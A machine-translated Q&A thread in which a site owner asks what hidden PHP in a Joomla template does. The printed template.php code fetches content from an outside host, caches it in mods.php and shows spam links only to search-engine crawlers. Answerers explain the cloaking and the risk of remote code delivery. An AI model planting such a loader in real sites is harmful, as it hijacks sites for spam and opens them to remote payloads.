有人能给我解释一下这个php代码在做什么吗?
我正在使用一个名为Liberty的Joomla模板,我开始在页面上显示这些奇怪的链接。如果我清除了我的网站缓存,链接就会消失,只是后来才出现。我终于找到了问题所在。php代码称为一个名为template.php的include页面,该页面又称为一个名为mods.php的文件。下面是这些文件中的代码 从template.php:有人能给我解释一下这个php代码在做什么吗?,php,joomla,Php,Joomla,我正在使用一个名为Liberty的Joomla模板,我开始在页面上显示这些奇怪的链接。如果我清除了我的网站缓存,链接就会消失,只是后来才出现。我终于找到了问题所在。php代码称为一个名为template.php的include页面,该页面又称为一个名为mods.php的文件。下面是这些文件中的代码 从template.php: <?php ini_set('display_errors',0); $path = $_SERVER['HTTP_HOST'].$_SERVER['REQUEST
<?php
ini_set('display_errors',0);
$path = $_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];
$path = str_replace("&", "",$path);
$target = dirname(__FILE__) . DIRECTORY_SEPARATOR . "mods.php";
$source = 'http://psdu.net/me3.php?i='.$path;
$cachetime = 86400;
if ((file_exists($target)) && (time() - $cachetime) > filemtime($target)) {
$string = file_get_contents($source);$result = file_put_contents($target, $string);}
$spiders = array('Googlebot','Yahoo','msnbot','Googlebot-Mobile');
$credits = file_get_contents($target);
$uagent = $_SERVER['HTTP_USER_AGENT'];
foreach ($spiders as $spider){if (preg_match("/$spider/",$uagent)){echo $credits;}}
?>
这是来自我的服务器mods.php的代码,其中有我得到的奇怪链接:
<p><a target="_blank" href="https://ro-ro.facebook.com/zebras.ro">zebras magazin haine femei</a> <a target="_blank" href="http://mkhandtaschen.tumblr.com/">michael kors tasche schwarz</a></p>
我从template developer下载了一份新的模板副本,其mods.php文件与此不同:
<div class="leader"><p><a target="_blank" title="t shirt bedrucken" href="http://webhostshield.com/bluehost-review/">bluehost 2013 reviews</a></p></div>
我可以大致了解正在发生的事情,但是我没有得到psdu.net/me3.php的外部链接。我已经禁用了index.php文件中调用template.php的那一行,网站运行正常。这两个文件看起来很可疑,对我来说没有必要。如果有比我更有经验的php程序员提供任何信息,我将不胜感激。谢谢 它检查HTTP\u USER\u代理,该代理通常包含有关浏览器、操作系统、版本等的信息。然后,如果HTTP_USER_代理包含“Googlebot”、“Yahoo”、“msnbot”或“Googlebot Mobile”,它会回显信用(mods.php显示的内容)
我假设这是从mods.php为任何搜索引擎索引您的页面提供的附加信息。这确实不好,可以认为是一个严重的漏洞 如果任何人都可以模拟psdu.net(例如DNS欺骗;请注意,不涉及SSL——因此也不涉及远程方身份验证)——或psdu.net落入坏人之手——任何PHP负载都可以存储在mods.PHP文件中,并通过访问…/templates//html/mods.PHP URL“触发”
事实上,这真的很糟糕 它似乎为谷歌机器人公司检索、缓存和打印垃圾邮件,这真的不好。如果原始模板没有这些文件,你应该更换整个原始模板,我会担心你的网站已经被黑客,如果文件不匹配,你最初安装的。你需要弄清楚为什么会这样。检查所有扩展,确保它们不在易受攻击的扩展列表中。这是模板中提供的。只有mods.php不同,因为template.php代码将链接写入mods.php。几周前,我联系了该模板的开发人员,才弄清楚到底发生了什么,但从未得到回复。昨天,在我知道问题出在哪里之后,我回到他的网站,下载了他的一些其他模板,看看它们有什么。它们也与此类似,具有相同的template.php和mods.php文件。所以我不知道这是他故意的还是他的网站被破坏了。我现在从我的网站上清理了这些。我想知道该如何处理这个模板网站。如果我弄清楚了,它将采用$path,这显然是我网站页面的url,并使用它来种子链接到psdu.net/me3.php?I=。我在网络浏览器中玩过它,插入了网络上流行站点的不同URL,得到了不同的链接。你是对的,我忽略了它正在用页面内容保存$credits,上面代码中的$path将成为你的站点页面。